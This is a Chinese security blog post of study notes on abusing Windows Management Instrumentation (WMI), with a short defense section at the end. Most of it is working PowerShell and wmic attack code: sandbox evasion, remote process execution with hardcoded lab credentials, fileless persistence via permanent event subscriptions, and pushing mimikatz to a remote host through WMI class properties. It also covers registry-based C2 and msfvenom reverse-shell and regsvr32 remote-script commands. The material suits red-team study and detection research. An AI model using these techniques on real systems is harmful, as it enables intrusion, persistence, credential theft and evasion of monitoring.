前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WMI ——重写版

WMI ——重写版

作者头像
Ms08067安全实验室
发布2020-08-12 14:41:42
2K0
发布2020-08-12 14:41:42
举报

本文作者:伍默(内网知识星球学员)

本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以Black Hat 2015的Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料,在笔记写到大概一万字的时候,Typora 中保存的内容部分丢失。于是重新整理,有了这份,我认为精简版的WMI笔记。

WMI 背景


WMI 是什么?Windows管理规范(WMI)是Microsoft对基于Web的业务管理标准(WBEM),公共信息模型(CIM)和分布式管理任务组(DMTF)的实现。

换句话说:Microsoft + CIM + WBEM +DMTF = WMI

打开MSDN 中关于WMI的描述是这样:

  • Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems。 Windows管理工具(WMI)是基于Windows操作系统的管理数据和操作的基础设施。

快速的过一下这部分内容的重点:

  • WMI实际上的历史非常久远,最早在Windows 2000中内置,后面所有的Windows 系统中都内置了该项服务。
  • WMI使用公共信息模型 (CIM) 表示托管组件,其中包括系统、应用程序、网络等等
  • CIM中使用 “Class"(类)表示管理对象,类的实例是“Object”,名称空间(Namespace)是一个类的集合。类包含属性(Property)和方法(Method)。
  • WMI支持Schema的概念。Schema 是描述特定管理环境的一组类。Microsoft Windows SDK 中使用了两个 Schema : CIM Schema 和 Win 32 Schema 。CIM Schema Class 使用 "CIM_" 开头,Win32 Schema Class 使用 "Win32_" 开头。

和WMI交互


在开始WMI之前,我建议 WmiExplorer 查看 自己机器上的Namespaces、Class、Property、Method等等,对我说的概念有一个简单的了解,复杂你可能会看着很懵。

为了验证上面我描述的一些内容,我建议WmiExplorer进行查看:

可以注意到前面描述中的Namespace、Class、Properties、Methods……。

实际上和WMI交互有多种方法:

  • Powershell
  • wmic.exe
  • wbemtest.exe
  • winrm.exe and winrm.vbs
  • WMI Explorer
    • WMI Explorer 2.0.0.2
    • WMI Explorer
    • WMI Tools
    • CIM Explorer 2020(收费,但是非常强大,对类进行了中文说明,VBscript、powershell 代码简洁,推荐)
  • Windows Script Host Languages(VBScript – JScript)
  • IWbem* COM API
  • .NET System.Management classes
  • Linux:wmic and wmis

另外两个小工具:

  • WMI Code Creator 这是微软官方出的一款代码生成器,可生成C#、VB .net 、VB Script代码
  • WMIGen 可生成各种变成语言,调用WMI

除了”IWbem* COM API“和”.NET System.Management classes“没有试过,其余的工具均有测试,推荐使用WMI Explorer ,GUI界面非常好用。

WMI Query Language (WQL)


参考:

Querying with WQL

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql)

WQL (SQL for WMI)

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi)

WMI 查询语言(WQL)是ANSI SQL 的子集,WQL支持以下的查询:

  • Data queries SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
  • Event queries SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLINGINTERVAL] <WHERE [CONSTRAINT]>
  • Schema queries SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]>

详细的语法请参考文档,这里不做过多介绍,用的最多的是 data queries ,请在实际查询中使用,需要明确的是WQL仅能查询,无法使用 Methods 进行增删改等操作。

Remote WMI Protocols


WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。

DCOM

  • Microsoft 在TCP 135 端口和一系列的动态端口(不同版本不一样) 运行DCE RPC end-point mapper为它的DCOM服务
  • 端口可通过注册表项 HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet\中 的Ports设置
  • 可通过DCOMCNFG.exe 配置
  • 对防火墙不友好(使用 TCP 135和一系列动态端口 1024 到 65535)
  • 默认情况下 Wmi Service ——Winmgmt 在135端口下运行和监听

WinRM/PowerShell Remoting


参考:

About Windows Remote Management(https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management)

  • 实验之前,请务必阅读一遍官方官方文档,哪怕是草草看过。

介绍Windows Remote Management(Winrm)之前,先了解WS-Management ,Ws-Man 协议是基于SOAP协议的DMTF开放标准,WinRM则是对WS-Man协议的 Windows 实现。

  • DMTF是不是感觉有点耳熟?前面说WMI背景中就提到过。
  • 默认情况下,从Windows Vista开始成为Windows 的默认组件,从Windows Server 2008 开始, WinRM服务自动启动
  • 默认情况下,未配置WinRM侦听器,即使WinRM服务在运行,无法接受和请求WS-Man 协议消息
  • Ws-Man 流量是加密的,不论HTTP 或HTTPS
  • 默认配置侦听端口是:HTTP(5985)和HTTPS(5986)
    • 注意,这里的默认配置指定是 Winrm quickconfig 之后。

需要明确的是两种协议均支持NTLM or Kerberos,也就是说,Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用

Powershell-DCOM


从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets:

  • CIM Cmdlets
  • WMI Cmdlets
  • 前面我提到过namespace,如果不显式指定,默认namespace 为 root\CIMv2

CIM cmdlets 和WMI Cmdlets 差异在于 CIM Cmdlets 使用WSMAN(WinRM)连接远程计算机,WMI Cmdlets 是所有的是DCOM 连接远程计算机。

  • 如果CIM Cmdlets 使用DCOM 无法建立会话,可以使用 -Protocol 参数退回到DCOM
代码语言:javascript
复制
#WMI Cmdlets
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
#为了避免凭据提示弹框
Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -Class
Win32_Process |Select-Object Name,ProcessId
#这里枚举了下进程
#另外支持WQL查询
Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID
#该命令和上面的效果相同
Powershel-WinRM
#CIM cmdlets
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSessionOption = New-CimSessionOption -Protocol Dcom
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential -SessionOption $CimSessionOption

Powershel-WinRM


代码语言:javascript
复制
ls wsman:\localhost #查看本地计算机WSman提供程序的目录层次结构
#需管理员权限
代码语言:javascript
复制
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Get-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-ObjectName,ProcessId

WMI Eventing


WMI 事件订阅是订阅某些系统事件的方法。

WMI Eventing 有两种:

  • Single process context (本地的单个进程上下文)
  • Permanent WMI Event Subscriptions(永久的WMI 事件订阅)

重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System权限运行的。

  • 提一个,WMI repository 的所在目录为 %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA

WMI Eventing 包含3个组件(同时也是3类):

Event Filter


Event Filter 是一个WQL 查询,它描述了感兴趣的事件。有两种类型:

  • Intrinsic Events(内部事件):轮询事件间隔内触发的事件
  • Extrinsic Events (外部事件):实时过滤器,事件发生时立刻被触发 重复一遍,这里不会有大量的细节,甚至略过了非常多的内容,如细节指出有误请务必指出。

Event Consumer


Event Consumer 是触发事件是要执行的操作,提供了5个类:

  • ActiveScriptEventConsumer:执行嵌入的VBScript/JSCript
  • CommandLineEventConsumer:执行指定的二进制或者命令行 前面两个类是各类攻击中主要使用的类
  • LogFileEventConsumer:写入指定的日志文件
  • NTEventLogEventConsumer:将消息记录到应用程序EventLog中
  • SMTPEventConsumer:每当事件被送达时,适用SMTP发送一封邮件

Filter to Consumer Binding


Filter to Consumer Binding 是将 Filter 绑定到 Consumer 的注册机制

以上3种角色具体到WMI中体现为类,可查询判断是否添加生成:

代码语言:javascript
复制
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
#注意名称空间参数

WMI Attacks


从攻击者的角度包括不限于可以做到以下这些:

  • Reconnaissance
  • VM/Sandbox Detection
  • Code execution and lateral movement
  • Persistence
  • Data storage
  • C2 communication

Reconnaissance


代码语言:javascript
复制
Host/OS information: ROOT\CIMV2:Win32_OperatingSystem
Win32_ComputerSystem, ROOT\CIMV2:Win32_BIOS
File/directory listing: ROOT\CIMV2:CIM_DataFile
Disk volume listing: ROOT\CIMV2:Win32_Volume
Registry operations: ROOT\DEFAULT:StdRegProv
Running processes: ROOT\CIMV2:Win32_Process
Service listing: ROOT\CIMV2:Win32_Service
Event log: ROOT\CIMV2:Win32_NtLogEvent
Logged on accounts: ROOT\CIMV2:Win32_LoggedOnUser
Mounted shares: ROOT\CIMV2:Win32_Share
Installed patches: ROOT\CIMV2:Win32_QuickFixEngineering
Installed AV: ROOT\SecurityCenter[2]:AntiVirusProduct
#查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets

这里提一下wmic,可能大家经常使用

wmic qfe get Caption,Description,HotFixID,InstalledOn

进行补丁的查询,Powershell cmdlets 着是这样的:

代码语言:javascript
复制
Get-CimInstance -ClassName Win32_QuickFixEngineering

MSDN有提到“wmic 中的 alias 是对 class 、property、method 的友好重命名”,你可以用 wmic alias qfe list brief 验证这一点:

WMI Attacks – VM/Sandbox Detection


代码语言:javascript
复制
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2

可通过内存与处理器的数量来判断是否为VM/Sandbox ,不排除高配置的VM/Sandbox

代码语言:javascript
复制
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) { $VMDetected = $True }
echo $VMDetected = $False
#查看$VMDetected 是否为True

WMI Attacks – VM/Sandbox Detection (VMware)


如果VM/Sandbox 是VMware 的产品,可以从Vmware的一些特征查询:

代码语言:javascript
复制
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"
#如果任意一条语句查询出结果,当前机器大概率是Vmware 的 VM/Sandbox

在Powershell 中是这样的:

  • 后面不在啰嗦, 只要理解这个类的查询逻辑,就很容易理解命令, Get-WmiObject 本质上也是 使用了WQL查询,并且 也支持 -query 参数直接使用WQL查询。
代码语言:javascript
复制
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }
echo $VMDetected = $False
#注意几个WQL查询之间的逻辑关系为 OR

WMI Attacks – Code Execution and Lateral Movement


这里给出了两种协议的 代码执行和横向移动方式,基本都类似:

支持Kerberos

代码语言:javascript
复制
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Invoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process -Arguments @{CommandLine = 'notepad.exe'}
代码语言:javascript
复制
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential InvokeWmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName OWA2010SP3 -Credential $Credential

WMI Attacks – Persistence


代码语言:javascript
复制
$filterName = 'EventFilter'
$consumerName = 'ConsumerName'
$exePath = 'C:\Windows\System32\calc.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
#Flter 可以尝试使用其他事件
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace
"root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop
#Event Filter
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace
"root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
#Event Consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
#Filter to Consumer Binding
#需管理员权限

这里使用到的就是WMI Eventing,如果使用WmiExplorer可查看到对应命名空间中创建了新的实例。

适用Process Explorer监控发现calc.exe进程在启动之后,自动结束进程,目前稳定性尚未明确,如果使用来上线,做好进程迁移。

代码语言:javascript
复制
Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "root\subscription"
#删除WMIEventFilter
Remove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "root\subscription"
#删除WMIEventConsumer
#删除FilterToConsumerBinding发现CIM cmdlets 报错,暂不明确原因,适用WMI cmdlets 解决
Get-WmiObject -Class __FilterToConsumerBinding -Namespace "root\subscription" -Filter "Consumer='CommandLineEventConsumer.Name=\'ConsumerName\''" |RemoveWmiObject -Verbose

以上是利用 WMI 进行 Persistence 的核心逻辑,很容易找到以下写好的Powershell 脚本:

  • https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1

这里代码太多,直接给了图片,整个脚本逻辑很清晰,只有3个函数Install-Persistence、RemovePersistence、Check-WMI,功能和函数名相同,实际使用时仅需要修改 $Payload 值即可持久化上线。

Powershell并不是唯一的选择,wmic 中也能实现相同的效果:

代码语言:javascript
复制
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL",
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'Win32_PerfFormattedData_PerfOS_System'"
#WMI EventFilter
#系统启动 60秒后触发
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
Name="ConsumerName",
ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate="C:\Windows\Sy
stem32\calc.exe"
#WMI Event Consumer
#我这里我启动的是calc
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
Filter="__EventFilter.Name=\"EventFilter\"",
Consumer="CommandLineEventConsumer.Name=\"ConsumerName\""
#WMI Event FilterToConsumerBinding

WMI Attacks – Data Storage

代码语言:javascript
复制
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',"This is not the malware you're
looking for")
$StaticClass.Put()
#新建本地类存储
#需管理员权限

如何查看其中的值:

代码语言:javascript
复制
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty']
#具体的获取Value的值
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value

具体的应用:

代码语言:javascript
复制
$LocalFilePath = "C:\Windows\System32\calc.exe"
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop)
$StaticClass.Put()

$EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value
#将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中
#怎么执行?
#这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题

$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload

$PowerShellPayload = "cmd /k $EncodedPayload"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload

WMI Attacks – C2 Communication (WMI Class) – “Push” Attack

代码语言:javascript
复制
# Prep file to drop on remote system
$LocalFilePath = 'C:\Windows\System32\calc.exe'
#当然这个路径可以设置一个网络上的路径
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = '0day\Administrator'
$Options.Password = 'Admin!@#45'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\192.168.3.142\root\default'
$Connection.Options = $Options
$Connection.Connect()
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,$null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
$EvilClass.Put()

和上面的Data Storage 相似,不过这里是通过DCOM 远程连接,写入到远程主机的 Class 的 Properties 中,

代码语言:javascript
复制
$EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value
$PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
#需要再 192.168.3.142 上执行,如果通过远程读取,需要对应用户凭据
([WmiClass]'\\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value
#另外笔者测试手里,如果目标是powershell脚本,推荐是使用下面的代码
$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value
#PowerShell执行命令
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload

注:笔者未复现成功,但是@九世成功了,我的系统是Win 10 1809 ,他的系统大概是Windows Server 2008 R2

不要误会这一节的标题,这里本意是使用利用WMI 构造C2 (下同),但我这里代码的用途仅仅是通过 Class 的 Properties 储存数据。

参考:

WMI Backdoor(https://juejin.im/post/5aa117a1f265da2384402949)

  • 务必阅读这篇,该篇说的更为详细
代码语言:javascript
复制
#完整的代码,
# Prep file to drop on remote system
$LocalFilePath=’C:\Users\jerry\mimikatz.exe’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’0day\Administrator’
$Options.Password =’Admin!@#45’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\\192.168.3.142\root\default’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
#$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’ 这是原版代码,下面是我修改的代码
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘root\default:Win32_EvilClass’).Properties[‘EvilProperty’].Value[IO.File]::WriteAllBytes(‘C:\Users\Administrator\mimikatz.exe‘,[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload
# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter’Name = ‘C:\Users\Administrator\mimikatz.exe‘
#远程创建类存储数据,远程使用Powershell读取类中的数据写入到文件系统中

WMI Attacks – C2 Communication (Registry) – “Pull” Attack

代码语言:javascript
复制
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs = @{Credential =
    $Credential
    ComputerName = '192.168.3.142'
}
$HKLM = 2147483650
#HKEY_LOCAL_MACHINE = 2147483650(0x80000002)
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWARE\EvilKey'
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWARE\EvilKey','Result'
#在远程主机上新建注册表项和值Result
代码语言:javascript
复制
$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
#查阅MSDN,发现这是一种序列化对象的方法
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded
'@
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
#序列化后对象之后编码为Base64
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWARE\EvilKey','Result'

$EncodedOutput = $RemoteOutput.sValue

$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))
#将$EncodedOutput 解码,进行反序列化,笔者测试失败,遇到错误,有成功运行的师傅麻烦指教下。

WMI Attacks – Stealthy Command “Push”


上面例子中基本调用的是 powershell或cmd,在笔者其他篇中提到过ELK配合sysmon,查找这类攻击很容易,在Command-line中查找即可,还记得前面的脚本EventConsumer使用的都是CommandLineEventConsumer,但是没有使用 ActiveScriptEventConsumer,如果使用该类执行 VBScript,则只会启动WMI脚本宿主进程:

代码语言:javascript
复制
%SystemRoot%\system32\wbem\scrcons.exe -Embedding
  • 和原演讲PPT有区别,这部分是我在阅读其他师傅的博客得到的表述,其实和利用WMI 永久事件 订阅相同,只不过其中 `CommandLine 变为执行脚本。 如何构造VBScript?相关框架可以自动生成,比如MSF。

整个过程看起来是这样:

  • Event filter example: __IntervalTimerInstruction(可选择其他事件过滤器)
  • Event consumer – ActiveScriptEventConsumer
  • Event FilterToConsumerBinding

等待Payload 执行,删除永久的WMI 事件订阅(也就是3个组件的类的实例),payload是由WMI脚本 宿主进程启动。

没有代码

WMI Providers


参考:WMI Providers

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/developing-a-wmi-provider)

如果你注意到MSDN 文档,WMI Providers 有着详细的开发文档(最常见的是笔记本厂商往往会扩展 WMI Providers),如果构造出恶意的 WMI Providers 就能执行payload或者获取用户的数据。

笔者这反面了解甚少,这里演讲者推荐了几个项目

  • EvilWMIProvider(已404) (https://github.com/subTee/EvilWMIProvider)
  • EvilNetConnectionWMIProvider(最后一次更新是5年前) (https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider)

枚举 WMI Providers:

  • Get-WmiProvider.ps1 (https://gist.github.com/mattifestation/2727b6274e4024fd2481)

PoC WMI Backdoor


掠过,WMI Backdoor 未放出源代码,因此给出的函数实际意义不大。

Attack Defense and Mitigations


参考:Tales of a Threat Hunter 2

(https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/)

检测

  • Powershell或其他工具查询对应的类:Filter、consumer 、FilterToConsumerBinding
  • Autoruns(GUI 界面的WMI菜单栏)

相关文章:透过Autoruns看持久化绕过姿势的分享(一)

(https://www.freebuf.com/articles/network/164252.html)

防御

所有的系统行为都可以引发一个事件,包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。

  • 具体的事件请使用 Get-WmiObject -Class *__*event* -list 查看。

笔者的思路为:注册对应的WMI 永久事件订阅,来监控对应的事件,动作设置为写入日志或其他(列如通知)

注:删除WMI 永久事件订阅本身也可以触发事件

缓解措施

  • 禁用WMI服务:可以会影响依赖该服务的应用
  • 防火墙限制端口
  • 日志

由于WMI 服务涉及 WinRM和DCOM,所以需要查看3种服务的日志,比较推荐使用sysmon 捕获日志

  • Microsoft-Windows-WinRM/Operational
  • Microsoft-Windows-WMI-Activity/Operational
  • Microsoft-Windows-DistributedCom

相关项目:WMI_Monitor(https://github.com/realparisi/WMI_Monit)

各类工具


参考:Persistence – WMI Event Subscription

(https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/)

  • WMImplant(https://github.com/n0pe-sled/WMI-Persistence)
  • WMIOps(https://github.com/FortyNorthSecurity/WMIOps)
  • Metasploit 中的 puts generate_mof use exploit/windows/smb/psexec irb puts generate_mof("Metasploit1","notepad.exe") #生成恶意mof文件 #命令部分自定义,例如 regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll #在目标Windows 机器上使用自带的 mofcomp.exe .\Metasploit.mof 编译 #如果你愿意阅读下生成的mof文件的代码,核心部分是通过Jscript调用wmi,扩展 Win32Provider,构造WMI 永久事件订阅 #考虑进程迁移 这种方式父进程是 %SystemRoot%\system32\wbem\scrcons.exe -Embedding
  • msfvenom + SharpShooter +WMIPersistence+csc msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=4444 -f raw -o payload.bin python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload.bin #@冷逸指出有可能是Outlook.CreateObject() COM 导致的失败 base64 -i output/implantvbs.vbs > ./payload.txt cd C:\Windows\Microsoft.NET\Framework64\v3.5 # csc.exe WMIPersist.cs /r:System.Management.Automation.dll #windows 中编译 #目标执行,笔者测试为复现成功
代码语言:javascript
复制
PoshC2 中Invoke-wmievent
* Metasploit 中的`exploit/windows/local/wmi_persistence`,默认 Filter 是出现4625事件,4625事件是登录失败( runas 输入错误账户密码即可导致该事件 )

* Empire 中 `persistence/elevated/wmi`,同样是 4625 事件触发,`persistence/elevated/wmi_updater`可以从远程获取 payload,注册的 WMI 永久事件订阅 默认Name 为`AutoUpdater`

## 更多的资料
[Abusing Windows Management Instrumentation (WMI) to Build a Persistent,Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-ToBuild-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)
[THERE’S SOMETHING ABOUT WMI](https://www.fireeye.com/content/dam/fireeyewww/services/pdfs/sans-dfir-2015.pdf)
[Windows管理规范(WMI)指南:了解WMI攻击](https://www.varonis.com/blog/wmi-windowsmanagement-instrumentation/)
[Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-andcontrol-wmi/)
[WMI 101 for Pentesters](https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+ehnet+%28The+Ethical+Hacker+Network+-+Online+Magazine%29)
[Handling Events with PowerShell and WMI]
(https://www.scriptrunner.com/en/blog/events-powershell-wmi/)
[Blue Team Hacks - WMI Eventing]
(https://mgreen27.github.io/posts/2017/04/03/Blue_Team_Hacks-WMI_Eventing.html)
[WMI vs. WMI: Monitoring for Malicious Activity]
(https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html)

比较好的中文资料
[Windows WMI技术总结]
(http://1sparrow.com/2019/12/10/Windows%20WMI%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93/)
[wmic命令解析与实例]
(https://weiyigeek.top/2019/5/wmic%E5%91%BD%E4%BB%A4%E8%A7%A3%E6%9E%90%E4%B8%8E%
E5%AE%9E%E4%BE%8B.html)
> 完美的介绍了wmic命令的各种应用,用户管理、组管理、加域、配置ip、注册表编辑等等
以及三好学生的几篇博文
[WMI Attacks](http://drops.xmd5.com/static/drops/tips-8189.html)
[WMI Backdoor](https://juejin.im/post/5aa117a1f265da2384402949)
[WMI Defense](https://wooyun.js.org/drops/WMI%20Defense.html)
[Study Notes of WMI Persistence using wmic.exe]
(https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/)
[WSC、JSRAT and WMI Backdoor]
(https://wooyun.js.org/drops/WSC%E3%80%81JSRAT%20and%20WMI%20Backdoor.html)
FireEye 报告的译文
[WMI的攻击,防御与取证分析技术之攻击篇]
